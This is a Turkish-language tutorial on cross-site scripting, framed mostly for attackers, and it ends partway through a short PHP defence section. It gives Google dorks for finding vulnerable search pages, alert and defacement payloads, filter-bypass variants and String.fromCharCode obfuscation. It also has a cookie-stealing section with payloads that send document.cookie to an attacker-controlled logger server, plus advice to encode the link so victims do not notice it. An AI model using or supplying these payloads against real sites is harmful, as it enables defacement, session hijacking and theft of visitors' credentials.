Bölüm 1 - XSS Nedir?
“CSS” olarak da bilinen “XSS”( Cascading Style Sheets ile karıştırılan Cross Site Scripting) web uygulamalarında sıklıkla karşılaşılan bir açıktır. XSS saldırgana kötü niyetli kodlar eklemesine imkan tanımaktadır. XSS saldırılarının birçok çeşidi mevcuttur. Şimdi ben burada en çok kullanılan 3 tanesi üzerinde duracağım.
Bahsetmek istediğim ilk saldırı turu URL XSS’dir. Bu yöntem XSS’in sayfada kalmayacağı anlamına gelir. Bu durumda XSS, sadece kodu alıp “submit” ettiğimizde çalışacaktır. Bunu kendi lehimize nasıl kullanırız bundan daha çok bahsedeceğiz.
İkinci saldırı girdi alanlarındadır. Datayı nereye eklerseniz ekleyin çoğunlukla XSS olur. Örnek olarak bir arama motoru kullanarak bir site bulduk. Arama kutucuğuna “hacker” diye yazın ve aratın. Sayfa yüklendiğinde eğer derse ki; “hacker” için 100 sonuç bulundu, veriyi sayfada gösterdiğini göreceksiniz. Şimdi ya kodu çalıştırırsak? Bu saldırıda PHP kodu çalıştırmak mümkün değildir ancak HTML ve JavaScript kodlarını çalıştırmak mümkündür. Bu arada bu yönteme dikkat edin sunucuda kalmayacaktır.
Üçüncü saldırı yöntemi; bu yöntem ile kodu ilave edebilirsiniz ve kod sitede kalıcı olacaktır.
PHP ve HTML çalıştırıp çalıştıramayacağımıza bağlı olan iki çeşit kodumuz var. Eğer PHP’yi enjekte edersek aynı HTML’yi de enjekte edebiliriz. Bu tarz saldırılar genellikle blog’larda ve profillerde bulunur. Forumlar ise çoğu yerine veri ekleyebildiğiniz ve verilerin eklenilen yerde kaldığı alanlardır. HTML, PHP’den çok farklıdır. HTML bilgisayarınıza “download” edilir ve tarayıcınızda bunu çözümler ( bu nedenle sayfa kaynakları görüntülenebilir). PHP ile de kod, scriptin barındırıldığı sunucu üzerinde çözümlenir, daha sonra veri tarayıcıya geri gönderilir. PHP enjeksiyon için bu durum çok nadirdir. Not: PHP kod asla HTML sayfaya enjekte edilemez.
Bölüm 2 - XSS Açıklarını Bulma
Bu açıkları bulabilmek için Blog’ları, Forum’ları, Shoutbox’ları, yorum kutularını ve arama kutucuklarını deneyerek başlayabilirsiniz. Aslında burada bahsedilenlerden daha fazla örnek vermek mümkündür.
Google Dork’ları daha kolay bulmak için kullanılabilir. Örnek olarak google.com girerek inurl:”search.php?q=” yazabilirsiniz. Simdi bu bulunabilen çok genel bir sayfadır ve birçok sonuç elde edebilirsiniz. Daha fazla saldırı bulabilmek için diğer bolüme geçin.
Aynı zamanda çoğu sitenin XSS açığı bulunduğunu unutmayın ve bunu bulabilmek için sadece iyi bir göz ve birazda filtrelemeye nasıl bypass yapılacağı hakkında bilgi sahibi olmak yeterlidir.
Bölüm 3 - XSS Üzerine Temel Kavramlar
Simdi en çok kullanılan XSS olmak üzere en genelinden öğrenmeye başlayalım.
En yaygın olanı <script>alert("XSS")</script>.
Bu kod “XSS” tırnak işaretleri olmaksızın, kolaylıkla düzenlenebilir seklinde bir “popup” ikazı verecektir.
Bu nedenle, bahsettiğimiz eyleri hatırladığınızı varsayarak bundan bir önceki konuya geri döndüğümüzde, search.php?q= bunu basitçe bir web sitesi üzerinde deneyebiliriz.
http://site.com/search.php?q=<script>alert("XSS")</script>Büyük bir olasılıkla çalışacaktır ancak yinede çalışmazsa sorun değil, baksa sitelerde de değişik varyasyonlarını deneyebilirsiniz.( ben çoğu kişinin, sadece JavaScript değil HTML kodlar da ekleyebileceklerinin farkında olduklarını sanmıyorum)
http://site.com/search.php?q=<br><br><b><u>XSS</u></b>Eğer kalın fontla yazılmış metni ve haber baslığını görürseniz açık bulunduğunu biliyorsunuzdur ve artık daha sonra izah edeceğimiz yöntemleri de kullanabilirisiniz.
Bölüm 4 - Saldırı Yöntemleri
Evet, artık XSS nasıl çalışır bunu öğrendik, simdi de bazı XSS deface metotlarını izah edebiliriz. Deface için kullanılabilecek birçok yöntem vardır ve ben bunlardan en etkili ve en yaygın olanları üzerinde duracağım.
İlki IMG SRC olanıdır. HTML bilmeyenler için IMG SRC, kendisine link’lenmiş olan resmi web sitesinde göstermek için kullanılan bir tag’dır.
<html><bOdy><IMG src= "http://site.com/yourDefaceIMAGE.png">
Eğer link’i geçerli bir resim linki ile değiştirir, kaydeder ve çalıştırırsanız ne demek istediğimi daha iyi anlayacaksınız.
Şimdi diyelim ki Shoutbox, Commentbox veya siz verilerinizi girdikten ve onayladıktan sonra, girdiğiniz verileri gösteren herhangi bir yer buldunuz. Resmi sayfada gösterebilmek için aşağıda vermiş olduğum link’i ekleyebilirsiniz.
<IMG src= "http://site.com/yourDefaceIMAGE.png">
Diğer tag’lara gerek yok çünkü sayfa onları zaten barındırmaktadır (çok ıstınsa durumlarda barındırmayabilirde).
Bu resminizin daha büyük görünmesini sağlar ve site net bir şekilde hacklenmiş olur.
Diğer bir yöntemde flash videoların kullanımıdır. Aşağıdaki yöntemle aynıdır ancak biraz daha afilli bir yöntemdir.
<EMBED src= "http://site.com/xss">
Burada ise, kendisine link’lenmiş olan flash video çalıştırılacaktır.
Ya da Pop veya yönlendirme de kullanıyor olabilir
<script>window.open( "http://www.google.com/" )</script>
Bölüm 5 - Çerez (Cookie) Çalma
En etkili yöntem olduğu için bunu eklemek istedim.
Önce
http://G0t-Root.net/tools/cookie.php (ben baktım link çalışmıyor)
Sitesinden cookie logger’i indirelim. Simdi dosyayı edindik ve a.php seklindeki dosyamızı serverımıza upload ediyoruz. Log.txt dosyasını oluşturmayı var chmod 777 yapmayı unutmayın. Simdi ise herhangi bir saldırıyı gerçekleştirebileceğimiz, XSS açığı olan bir site
bulun. Simdi ise su kodu ekleyin;
window.location = "http://yourServer.com/cookielogger.php?c="+document·cookie
veya
document.location = "http://yourServer.com/cookielogger.php?c="+document·cookie
Bundan sonra kullanıcı eğer siteyi ziyaret ederse cookie loggeri yemiş olacaktır. Gerekli bilgiler siteye gönderilmiş ve cookie’ler çalınmış olacaktır.
İkinci kısım ise daha gizli kapaklıdır.
Cookie’ler için dosyanıza bakın ve sonra kullanıcının oturumunu yönlendirebilirsiniz.
Ancak eğer derseniz ki ya bizim sitemizin bu tarz bir saldırı olanağı yok, sadece datayı bir kez gösteriyor ve onu saklamıyorsa?
Diyelim ki bizim search.php?q= diye bir sayfa elimizde, biz bunu aşağıdaki kodu kullanarak ondan zararlı bir url elde edebiliriz ve belki hex belkide base64 onu encode eder ve insanlar kodu goremezler
http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document·cookie
Bölüm 6 - Filtreleme İşlemini ByPass Etmek
Çoğu sitede acık var gözükebilir ancak kod çalıştırmaz, bunu çözebilmek için bu bolumu iyi not edin. Filtreleme işlemini ByPass etmek için kullanılan bazı genel yöntemler;
’)alert(’xss’);
or
");alert(’xss’);
Bunlar açık olan bir serverda bu kodun <script>alert("XSS")</script> yaptığının aynısını yaparlar. Datayı onaylamadan önce Hexing yada base 64 encoding etmeyi deneyebilirsiniz.
Su hususa dikkat edin; XSS’i test etmek için (“XSS”) ikazı kullanmak hiç de iyi bir pratik yapma yöntemi değildir çünkü ben XSS harflerini engelleyen sitelerin olduğunu biliyorum.
Filtrelemeyi bypass edebilmek için diğer yollar;
<script type=text/javascript>alert("CyberWarrior")</script>
<script>alert("CyberWarrior")</script>;
<script>alert("CyberWarrior");</script>
<script>alert("CyberWarrior"/)</script>
<script>var var = 1; alert(var)</script>
Bölüm 7 - İleri Seviye XSS
Bu bolümde sağlam olan belli başlı yöntemleri inceleyeceğiz ki, kendimin bile daha kullanıldığına hiç rastlamadığım yöntemler, eminim beğeneceksiniz.
“Sihirli İşaretlerin” kullanıma acık olduğu ve bu nedenle bazı komutları gereksiz kılan birçok site gördüm. Ancak kesirli sayıları kullanarak onları ASCII’ye çeviren bir yönteme rastladım. Kesirli sayıları ASCII’ye çevirmek için gerekli fonksiyonları içeren bütün bir tabloyu
http://www.asciitable.com/ sitesinden edinebilirsiniz. Bu tablo size neyi yazmak istiyorsanız onu yazmanıza yardımcı olacaktır. Ben kendi örneğimde "CyberWarrior" yazacağım ve aşağıdakilerde bunun için gerekli kodlar;
67 121 98 101 114 87 97 114 114 105 111 114
Evet, şimdi string’imizin ondalık değerlerini elde ettik, bilmemiz gereken şey JavaScript’in bunu hangi fonksiyona dönüştürdüğüdür.
String.fromCharCode()
Bu kod bu tarz şeyler için uygundur, kurulumu kolaydır. Bunu da aşağıdaki kendi argümanlarımdan vereceğim.
String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114
)
Evet simdi
"String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114)"
“CyberWarrior” ifadesinin JAVA (ASCII)’deki seklidir.
Ve bunu uyarı vb şeylerle kullanmak için simgelere ihtiyacınız olmaz çünkü zaten bunun kendisi değişken olarak görev yapar.
<script>alert(String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114))</script>
Şimdi bu durumda "CyberWarrior" seklinde gösterilecektir. Ve bu yöntem sihirli işaretler denilen imleçleri bypass etmede bir numaradır.
Bir sonraki bolüme devam etmeden önce, yine değişkenlerin kullanıldığı başka bir yöntemden daha bahsetmek istiyorum.
Söyle bir şey yazalım;
var myVar = 1
burada myVar 1 demenin daha uzun bir seklidir.
Değişkenleri XSS’de kendi lehimize kullanmak için, aşağıdaki şekilde yazabiliriz;
<script>var myVar = 1; alert(myVar)</script>
Burada değişkenlerin içerikleri herhangi bir işaret (quote) kullanmadan gösterilecektir.
Bölüm 8 - XSS Güvenliği
Bu kısım web yazılımcıları için hazırlanmıştır. Hazırladığınız kodlara nasıl güvenlik sağlayabilirsiniz ondan bahsedeceğim.
Eğer script’lerinizde XSS açıklarına rastlarsanız, güvenliğini sağlamak çok basittir. Aşağıdaki koda söyle bir göz atın;
if(isset($_POST[’form’])){echo "<html><bOdy>" .$_POST[’form’]. "</bOdy></html>";}
Diyelim ki $_POST[’from’] değişkeni herhangi bir girdi kutucuğundan geliyordu ve sız de XSS saldırısına maruz kaldınız. Sonraki ise bunun güvenliğini sağlamak için çok basit bir yöntem;
$charset=’UTF-8’; $data = htmlentities ($_POST[’form’], ENT_NOQUOTES, $charset);
if(isset($data)){echo "<html><bOdy>" .$data. "</bOdy></html>";}
Bu satır muhtemel tüm kodları alacak ve onları < gibi şeylere dönüştürerek çalışmaz hala getirecektir.
HTML girişlerini kullanırken herhangi bir farklılık göze çarpmayacak ();
Ayrıca çok yaygın olan başka bir fonksiyon daha var, striptags(), daha fazla bilgiyi php.net/striptags’da bulabilirsiniz. Tam sayı değişkenlerin (yanı içinde her zaman için tamsayı değeri bulunduran değişkenler) güvenliğini nasıl sağlayacağınıza dair size göstereceğim diğer bir yöntem de;
$this = $_GET[’id’];
echo "görüntülediğiniz" . $this . "blog";